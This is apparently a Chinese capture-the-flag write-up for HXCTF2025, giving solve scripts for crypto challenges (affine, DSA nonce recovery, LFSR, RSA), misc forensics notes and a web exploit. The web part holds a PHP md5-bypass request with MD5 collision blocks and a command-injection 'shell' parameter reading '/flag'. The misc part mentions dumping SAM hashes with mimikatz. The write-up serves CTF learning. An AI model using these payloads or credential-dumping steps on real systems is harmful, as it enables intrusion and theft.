Skip to content

HXCTF2025

约 2041 字大约 7 分钟

cryptomiscweb

2025-05-18

Crypto

Classic

原字符串bytes.fromhex(str).decode('utf-8')后社会主义核心价值观解码,得到db6b2e47c926f403f02ae9baf031d72aa1a160fc38,根据提示仿射密码进行爆破

exp:

str='db6b2e47c926f403f02ae9baf031d72aa1a160fc38'
str=bytes.fromhex(str)
for a in range(1,256,2):
    for b in range(256):
        flag=''
        for c in str:
            flag+=chr((c*a+b)%256)
        if flag.startswith('HXCTF{'):
            print(flag)

# HXCTF{Y0u_found_^^e!}

ezDecision

题目:

from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
flag = b"HXCTF{FAKE_FLAG}"
p = getPrime(64)
def F0():
    while(1):
        M = random_matrix(Zmod(p), 3, 3)
        if M.rank() == 3:
            return M.list()
def F1():
    while(1):
        M = matrix(Zmod(p), [[getRandomRange(-10, 10) for j in range(3)] for i in range(3)])
        upper = matrix(Zmod(p), [[1, getRandomRange(0, p), getRandomRange(0, p)],
                                 [0, 1, getRandomRange(0, p)],
                                 [0, 0, 1]])
        lower = matrix(Zmod(p), [[1, getRandomRange(0, p), getRandomRange(0, p)],
                                 [0, 1, getRandomRange(0, p)],
                                 [0, 0, 1]]).T
        if M.rank() == 3:
            break
    return (lower*upper*M).list()
output = [F1() if int(i) else F0() for i in bin(bytes_to_long(flag))[2:].zfill(len(flag)*8)]
f = open("data.txt", "w")
print(output, file=f)
print(p, file=f)

F1生成矩阵的行列式值mod p后接近0或者p,F0无此特征,且验证得到F0生成矩阵的det() mod p结果距离p和0都很远

exp:

from Crypto.Util.number import *
with open('data.txt','r') as f:
    M = eval(f.readline())
    p = int(f.readline())
flag = 0
for m in M:
    tmp = int(matrix(ZZ,[m[0:3],m[3:6],m[6:9]]).det() % p)
    flag <<= 1

    if tmp < 10000 or tmp > p - 10000:
        flag |= 1
    else:
        flag |= 0
print(long_to_bytes(flag))
# b'HXCTF{Th3s3_m@trice5_ar3_n0t_di77icu1t_t0_di5tingu1sh}'

Babysign

lcg+dsa,参考DSA数字签名-针对随机数k的共享k攻击&线性k攻击_dsa签名 ctf 泄露了随机数k-CSDN博客

from Crypto.Util.number import *
from hashlib import md5
from pwn import *
import os

remote=remote('127.0.0.1', 8888)

def recover_x(q, r, s, h, k):
    return (s * k - h) * inverse(r, q) % q

def sign(g,q,p,x,msg,k):
    Hm = bytes_to_long(md5(msg).digest())
    r = pow(g, k, p) % q
    s = (Hm + x * r) * pow(k, -1, q) % q
    return (r, s)

re1=remote.recvline(b'[+]: ').decode()
p,q,g,y = map(int, re1.split('(')[1].split(')')[0].split(','))
a = 0xe4b39d062f5eaffe04fd8c302b8f956a43264ead
b = 0xb703a3ec8c6a9520e77d6bb14220abfde7d12dc6

remote.sendlineafter(b'[+]: ',b'hijack')
m1=remote.recvline(b'[+]: ').decode().split(',')
h1=bytes_to_long(md5(bytes.fromhex(m1[0].replace("'",''))).digest())
r1,s1=int(m1[1]),int(m1[2])

remote.sendlineafter(b'[+]: ',b'hijack')
m2=remote.recvline(b'[+]: ').decode().split(',')
h2=bytes_to_long(md5(bytes.fromhex(m2[0].replace("'",''))).digest())
r2,s2=int(m2[1]),int(m2[2])

k = inverse(a * s2 * r1 - s1 * r2, q) * (h2 * r1 - h1 * r2 - b * s2 * r1) % q
x = recover_x(q,r1,s1,h1,k)

msg=b'faritree'+os.urandom(8)
for _ in range(2): k = (a * k + b) % q 
r, s = sign(g,q,p,x,msg,k)

remote.sendlineafter(b'[+]: ',b'verify')
remote.sendlineafter(b"Give me message and signature\n[+]: ",f'{msg.hex()+','+str(r)+','+str(s)}'.encode())
print(b'\n'.join(remote.recvlines(2)).decode())

ezOPT

如同VNCTF2025的"并非RC4",这种交换有误,使得最后一部分的k就是确定的,1-255爆破一下即可

from Crypto.Cipher import AES
from Crypto.Util.number import *

enc=''
with open('enc.txt', 'r') as f:
    enc = f.readlines()
cipher=eval(enc[0])
enc=eval(enc[1])

for k in range(256):
    decipher=[i^57^k for i in cipher]
    s =[decipher[i:i+16] for i in range(0, len(decipher), 16)]
    str = [int.from_bytes(i, "big") for i in s]

    S0,S1,S2 = str[-3],str[-2],str[-1]
    a = ((S2-S1)*inverse(S1-S0,2**128)) % 2**128
    b = (S1 - a*S0) % 2**128
    key = (S2*a+b) % 2**128

    flag = AES.new(key.to_bytes(16, "big"), mode=AES.MODE_ECB).decrypt(enc)
    if b"HXCTF" in flag:
        print(f"flag: {flag}")
# flag: b'HXCTF{a_5maLl_m157aK3_L3Ad5_7O_a_hU93_prOBl3m}\x02\x02'

WeakSystem

根据已知flag的开头

list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str1='HXCTF{'

for i in range(len(str1)):
    print(bin(ord(str1[i]))[2:].zfill(8))
    print(bin(list[i])[2:].zfill(8))
    print("-----------")
"""
01001000
00001001
-----------
01011000
00011001
-----------
01000011
00100011
-----------
01010100
01010001
-----------
01000110
01100001
-----------
01111011
10111011
-----------
"""

可以推测出现顺序为:25634071

list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str2='25634071'
for s in list:
    s = bin(s)[2:].zfill(8)
    key={key:value for key,value in zip(str2,s)}
    s = chr(int(''.join([i[1] for i in sorted(key.items(), key=lambda x:x[0])]),2))
    print(s,end='')
# HXCTF{easy_encrypto_What_can_I_say}

也可以直接爆破:

import itertools
list = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
str2 = [''.join([i for i in str]) for str in itertools.permutations('01234567')]

for str in str2:
    flag=''
    for s in list:
        s = bin(s)[2:].zfill(8)
        key={key:value for key,value in zip(str,s)}
        flag+=chr(int(''.join([i[1] for i in sorted(key.items(), key=lambda x:x[0])]),2))
    if 'HXCTF' in flag:
        print(flag)
# HXCTF{easy_encrypto_What_can_I_say}

WeirVierWilson

威尔逊定理:当p为素数时,(p1)!=1modp(p-1)!=-1 \mod p

此处有range(1,prime)等价于此定理内容,故可以简化为:4

PrivateKey = -1
for i in range(prime+1,prime + prime.bit_length()):
    PrivateKey = (PrivateKey * i) % prime

从而得到结果:

from Crypto.Util.number import *
prime = 137507368993355914860594752037581031045352928887415381942526303684476934340258890988567168982905997088929819580321685527266991589958746449618579850907765883870406926066972236505061792661515022699471025570619211456282127086268577930799928025034487476640164726617790269194813768322066680097473281637077598071503
n = 135682573094891703553176370837232897617602270323588124823165101627726795394883393432665305493991941306105477252624327158129510957489322126803110534374827392252943932529899808378499467893344818778838011561390030105276983196848035629485680341851450845219061424892927388790415769446019942364106200260533601837319
cipher = 41622954513604406352873105855005440904638036223332018757506281634908104215433400850153277514829103000815542937837390595177169806358970750719651237435525099636604205350232352002592510801557603418471900545470844050105254021489131546373444583233001627136018732688443852250808321663559410660967027997290818817259


PrivateKey = -1
for i in range(prime+1,prime + prime.bit_length()):
    PrivateKey = (PrivateKey * i) % prime

print(f"{PrivateKey = }")

print(long_to_bytes(pow(cipher, PrivateKey, n)))
# b"HXCTF{find_+he_f@c+ori@1_i5_very_5imp1e_wi+h_Wi15on'5_+heorem}"

base[A]16

观察字符串,符合base91的特征(好吧,用cyberchef试一试就行了,跑几次能看到是91和64的套娃)

import base64
import base91

a="""
...
"""

k=0
while True:
    b=base91.decode(a).decode('utf-8')
    k+=1
    if 'HXCTF' in b:
        print(k,b)
        break

    a=base64.b64decode(b).decode('utf-8')
    k+=1
    if 'HXCTF' in a:
        print(k,a)
        break
# 32 HXCTF{B6bbAa@ass5ssEee36b6644A4}

ezRSA

根据已知信息爆破$$p_{low}*q_{low}==n_{low}$$

from Crypto.Util.number import *

def get_pq(n, x):
    a = [0]
    b = [0]
    maskx = 1
    maskn = 2
    for i in range(512):
        xbit = (x & maskx) >> i
        nbit = n % maskn
        t_a = []
        t_b = []
        for j in range(len(a)):
            for aa in range(2):
                for bb in range(2):
                    if aa ^ bb == xbit:
                        tmp2 = n % maskn
                        tmp1 = (aa * maskn // 2 + a[j]) * (bb * maskn // 2 + b[j]) % maskn
                        if tmp1 == tmp2:
                            t_a.append(aa * maskn // 2 + a[j])
                            t_b.append(bb * maskn // 2 + b[j])
        maskx *= 2
        maskn *= 2
        a = t_a
        b = t_b

    for a1, b1 in zip(a, b):
        if a1 * b1 == n:
            return a1, b1

c = 20581338524773710931014796705060927721164022110933170236907622868446276673276379960074983874694013071501404205921712458516719528791313217075372120292540769607768267213148470047192533783356651951103773544607365700830304720348095357381720861732062131428306950367835186817770742714377511664088124921726109762611
n = 131955690538161673663979223798074678499726259420694182793841613919440640794173261722991102718429029438380697505701015619452283142119487944084622078736557807531823541140258838261464844922518316272881433984179091296264635187662962573084675257499354062781067172877584482339564742280505536614114067794677477277487
leak = 2854831492248561377973114517344274987491834433439026310389937614171692082857812555747188089670141576752295596881129854180086210600895683598247563627762686

# print(get_pq(n, leak))

p,q=(11113942991349591718931137318539743396260239379884216203562999422787515075947711818547244264004890191734871882152561659063904969401500203920653354643291209, 11872986089713421317299505507375936916846603084691936060341849012517323444798572051884859182964850122065017068677498777850682439822551058508514322157039543)
assert p*q==n

phi=(p-1)*(q-1)

print(long_to_bytes(pow(c,inverse(65537,phi),n)))
#b'HXCTF{7his_i5_the_r3al_s1gn-in_que5ti0n}'

lfsr

直接上脚本

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import *

enc = b'\x81H\xd7_\x1c[\x00\xffkX+\x8d\n(-(U\xcd\x13$u\xa1\xceY.\x97\xfd8\x90\x07\xf5\x92'
output = 46569537592563541192266548905767353620
mask = 288869314699467157022235107404330039071

# print(mask.bit_count())
# 64
# print(bin(mask)[2:])
# 11011001010100100011010011010001010110011010111010010000100000010001001010101001010100101100100011011100110111111111011100011111
# print(bin(output)[2:])
# 100011000010001111011101111001010010111011111111110101101100011111101000000110011101001010001000100001101010000011110100010100
"""
output_ = bin(output)[2:].zfill(128)
for _ in range(128):
    if (int(output_[:-1],2) & mask).bit_count() & 1 == int(output_[-1]):
        output_=str(0)+output_[:-1]
    else:
        output_=str(1)+output_[:-1]
    print(output_)

print(f'seed={int(output_,2)}')
"""

seed = 267642768443430299973922842014429964883
cipher = AES.new(long_to_bytes(seed), AES.MODE_ECB)
print(cipher.decrypt(enc))
# b'HXCTF{s1mpl3_1ine@r_5y5tem}\x05\x05\x05\x05\x05'

送你弗莱格

莫斯编码,滴是'.',嘀是'_'分隔符,嗒是'-',转换后找个网站就ok

Misc

ez隐写

图片丢随波逐流,自动分离出一个文件:

00405030156577d12e3e267704717bb8030e3be447356b1c6d2d2e2723b17b7ad81f40bcb9c6796931512958813fee749a8aaedcea220f847ab6d4343f268d2c1c80b3e785629d0f407f10506d37e79eb77232518f1025317fedbbd7a94668162c4e197e3d39bc8e2c887059592da158a80f4d14c8e5c3a530f4d59e257ce802980a0d5887a2f824e44057f233450278b16c10bdcbaf3c08ea372030a0478747e27616c66680003008d52192d00240394010a8b0302042bb9b2b400008080810106000705010b0be281e3f001070a112271625

提示信息:凡事都有两面性,我们不妨倒过来思考一下

用cyberchef处理,下载逆序后的文件:

压缩包内容0宽隐写

f4k3ctr0n1c的新年祝福

扒拉出题人的QQ空间

f4k3ctr0n1c的旅行1

百度图搜,直接就是古北水镇

学姐的微信在哪里呀

01串转二维码,写个脚本,再手机扫一扫

from PIL import Image

content = []
with open('1.txt', 'r') as f:
    content = [line.strip() for line in f.readlines()]

height = len(content)
width = len(content[0])
image = Image.new('RGB', (width, height))

for i in range(height):
    for j in range(width):
        if content[i][j] == '0':
            image.putpixel((j, i), (255, 255, 255))
        else:
            image.putpixel((j, i), (0, 0, 0))

image.show()

测测你的马1

flag{61.139.2.129_61.139.2.1}

测测你的马2

特定ip流量分析

flag{H@_hA_y0ur_PC_15_h4cK3d!}

测测你的马3

第二问中已经有了(用autopsy打开更明显)

flag{C:\Temp\hack.txt}

测测你的马4

flag{w1nh4ck3r}

测测你的马5

网上查找信息的时候发现svchost.exe就是一种恶意文件

找到文件得到位置:

flag{C:\Users\Public\Downloads\svchost.exe}

测测你的马6

windows的用户密码,导出system和sam

使用mimikatz得到加密结果:

flag{P@ssw0rd!}

Web

我们一起来下棋吧

先打开开发者工具,再访问网址,网站源码就有flag

ez_md5

Php md5 =绕过+shell_exec无回显

GET:
a[]=1
b[]=2

POST:
c=QNKCDZO&d=240610708&love=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&ctf=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&shell=cat%20%2fflag%20%3e%201.txt

后方shell先用ls | sleep 5判断是无回显,然后依次

ls > 1.txt
ls / > 1.txt
cat /flag > 1.txt

得到:flag{4d8e50bf-a766-4681-82be-d5540e5311cb}